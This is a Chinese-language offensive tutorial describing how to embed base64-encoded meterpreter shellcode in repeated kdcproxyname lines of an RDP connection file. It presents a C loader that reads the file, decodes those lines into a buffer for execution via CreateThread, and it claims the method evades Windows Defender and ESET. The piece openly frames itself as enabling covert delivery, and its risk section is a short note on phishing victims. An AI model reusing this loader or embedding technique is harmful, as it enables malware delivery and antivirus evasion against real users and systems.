背景介绍
本文将探讨如何将恶意Shellcode嵌入到 RDP 配置文件中,通过利用文件扩展名的固有属性和特定 RDP 配置参数,成功注入恶意内容。
本文内容深入探讨了此类防御规避的技术细节,并促进了此类‘隐匿行动’的无缝执行。
观察
随着网络钓鱼技术的不断发展,攻击者获取立足点的尝试变得更加无情,通过观察,攻击者已经变得善于利用标准 Windows 功能来传递恶意Payloads,例如注入 PDF 文件或通过 LNK 攻击将Payloads隐藏在 ISO 内。
虽然这看起来是一个聪明的举动,但实际上此类技术可能会无意中暴露攻击者,从而使防守方能够发现他们的踪迹并有效地做出响应。
在当今的环境中,尖端的防御技术已成为常态,在不发出警报的情况下,成功绕过防御机制传递恶意Payloads已成为一门真正的艺术。
有趣的是,RDP 连接文件及其内容注入相当具有吸引力,问题的核心在于如何成功植入Payloads并确保 RDP 连接文件的功能在嵌入内容的情况下完整可用,探索该过程也侧面见证了网络安全攻防对抗下的不断发展。
RDP 连接文件结构
远程桌面协议 (RDP) 连接文件通常以“.rdp”扩展名结尾,是一种配置文件,可与 Windows 系统的远程桌面建立连接,该文件包含一个结构化布局,其中包含各种参数,每个参数都有助于远程连接的设置和行为,虽然结构的具体细节可能因 RDP 客户端版本和配置而有所不同,但通常都会存在以下组件:
1、Basic Settings: 基本设置:
- full address: Specifies the target system’s IP address or hostname.
完整地址:指定目标系统的 IP 地址或主机名。 - username: Specifies the username for authentication.
- username:指定用于认证的用户名。
- domain: Defines the domain or computer name for authentication.
域:定义用于身份验证的域或计算机名称。 - password: this field may contain the password, but it is not hardcoded inside the file.
密码:此字段可能包含密码,但没有硬编码在文件内。
2、 Display Settings: 显示设置:
- screen mode id: Specifies the display mode (full screen, windowed, etc.).
screen mode id:指定显示模式(全屏、窗口等)。 - desktopwidth: Sets the width of the remote desktop window.
- DesktopWidth:设置远程桌面窗口的宽度。
desktopheight: Sets the height of the remote desktop window. - DesktopHeight:设置远程桌面窗口的高度。
- session bpp: Defines the session’s color depth (bits per pixel).
session bpp:定义会话的颜色深度(每像素位数)。
3、Connection Settings: 连接设置:
- authentication level: Determines the level of authentication required.
身份验证级别:确定所需的身份验证级别。 - prompt for credentials: Specifies whether to prompt for credentials during connection.
提示输入凭据:指定在连接期间是否提示输入凭据。 - gatewayhostname: For Remote Desktop Gateway connections, specifies the gateway server’s hostname.
gatewayhostname:对于远程桌面网关连接,指定网关服务器的主机名。
4、Experience Settings: 体验设置:
- bitmapcachepersistenable: Controls bitmap caching.
bitmapcachepersistenable:控制位图缓存。 - audiomode: Sets audio redirection settings.
audiomode:设置音频重定向设置。
5、 Local Resources: 当地资源:
- redirectclipboard: Enables or disables clipboard redirection.
redirectclipboard:启用或禁用剪贴板重定向。 - redirectprinters: Determines printer redirection.
redirectprinters:确定打印机重定向。 - redirectotdrive: map local drive
redirectotdrive:映射本地驱动器。
6、Security Settings: 安全设定:
- authentication level: Specifies the authentication method.
认证级别:指定认证方式。 - enablecredsspsupport: Enforces the use of Credential Security Support Provider (CredSSP).
enablecredsspsupport:强制使用凭据安全支持提供程序 (CredSSP)。 - negotiate security layer: Specifies security negotiation settings.
协商安全层:指定安全协商设置。
7、Advanced Settings: 高级设置:
- enableworkspacereconnect: Controls the ability to reconnect to a disconnected session.
enableworkspacereconnect:控制重新连接到断开连接的会话的能力。 - promptcredentialonce: Prompts for credentials only once during the session.
promptcredentialonce:在会话期间仅提示一次凭据。 - remoteapplicationmode: Enables RemoteApp mode.
Remoteapplicationmode:启用 RemoteApp 模式。 - kdcproxyname: configuration of Kerberos authentication
kdcproxyname:Kerberos身份验证的配置
温馨小贴士
在检查了之前的 RDP 文件结构的所有参数后,当你尝试超出特定参数允许的字符长度的限制或尝试以非结构化方式放置Payloads时,RDP 连接文件将不再工作,并且被视为已损坏。
经过几次尝试,发现参数 kdcproxyname:s: 可以用来保存 base64 行,并且由于它位于高级类别选项下,因此可以重复或多次使用,且不会损坏文件功能。
kdcproxyname:s:<base64 line>
kdcproxyname:s:<base64 line>
kdcproxyname:s:<base64 line>
kdcproxyname:s:<base64 line>
kdcproxyname:s:<base64 line>
kdcproxyname:s:<base64 line>
这样我们就可以将 Shellcode base64 编码放入文件结构中并保持连接可用。
构建PoC
考虑到这一点,我们首先使用 msfvenom 生成 meterpreter Shellcode,并将内容进行 base64 编码到文件中,并将 kdcproxyname:s: 参数附加到每个 base64 行。
生成要使用的最终Payloads,如下所示:
模板准备好后,我们可以通过导航到 RDP 连接对话框来创建 RDP 连接文件并将其保存为文件,从那里可以使用任何文本编辑器简单地编辑它并将我们的模板放置在某个位置。
保存文件后,连接包有效且不被损坏。
编写加载器
虽然加载器可以使用任何首选的编程语言进行编码,但这次我们选择用 C语言来实现它。该加载程序的目的是执行以下任务:
-
读取文件内容,并记住它应该是 Unicode 支持的,因为 RDP 它可能是 UTF-16LE(unicode)
-
在文件内查找 kdcproxyname:s: 参数并将行提取为 WCHAR
-
将每一行从 Base64 解码为 BYTE
-
将提取和解码的 BYTES 列表复制到全局数组中,默认大小为 4096
-
使用你喜欢的任何 Shellcode 执行技术,本文遵循常规的 CreateThread 方法
以下代码片段解释了本方法,对于完整的项目代码,可以查看以下链接:
https://github.com/0xsp-SRD/0xsp.com/tree/main/defence%20evasion/RDP_Payload_Embedding%20
int main() {
HANDLE hndlRead;
WCHAR *szReadBuffer; // Use WCHAR to support Unicode
INT fileSize;
SIZE_T sDSize;
BYTE decoded_data[510];
HANDLE hThread = NULL;
DWORD dwThreadId = NULL;
hndlRead = CreateFileW(L"WP.rdp", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hndlRead != INVALID_HANDLE_VALUE) {
fileSize = GetFileSize(hndlRead, NULL);
szReadBuffer = (WCHAR *) calloc(fileSize / 2 + 1, sizeof(WCHAR)); // +1 for NUL string terminator
DWORD nb = 0;
int nSize = fileSize;
if (szReadBuffer != NULL) {
ReadFile(hndlRead, szReadBuffer, nSize, &nb, NULL);
}
CloseHandle(hndlRead); // Close what we have opened
WCHAR *textwithoutbom = szReadBuffer + 1; // Skip BOM
// Search for kdcproxyname:s: parameter and extract base64 values
WCHAR *current_position = textwithoutbom;
WCHAR base64_buffer[4096]; // Adjust the buffer size as needed
while ((current_position = wcsstr(current_position, L"kdcproxyname:s:")) != NULL) {
current_position += wcslen(L"kdcproxyname:s:");
if (swscanf(current_position, L"%4095[^\n]", base64_buffer) == 1) {
// Decode the base64 data using the custom function
// Adjust the buffer size as needed
int decoded_length = base64_decode(base64_buffer, decoded_data);
// Process the decoded data if needed
// better to delete this when releasing the final version
for (int i = 0; i < decoded_length; i++) {
// printf("%02X ", decoded_data[i]);
}
// Copy the decoded data into the global array
for (int i = 0; i < decoded_length; i++) {
global_decoded_array[global_decoded_index++] = decoded_data[i];
if (global_decoded_index >= 4096) {
printf("Global array is full, cannot copy more data.\n");
break;
}
}
}
// free(szReadBuffer); // Free what we have allocated
}
Shellcode 执行
关于执行,使用简单且基本的方法来运行 Shellcode,可以看到成功绕过 Windows Defender 和 ESET Endpoint Security:
风险
随着该技术的发展,涉及将恶意内容插入到 RDP 连接文件中,攻击者可以通过合并加载程序和 RDP 连接配置文件来利用这一特点,加载程序可以以各种格式交付,例如 EXE、DLL、VBA、JS 等,如果用户被引导相信通过执行以下操作来启用 RDP 功能,则受害者将更加容易运行或打开它。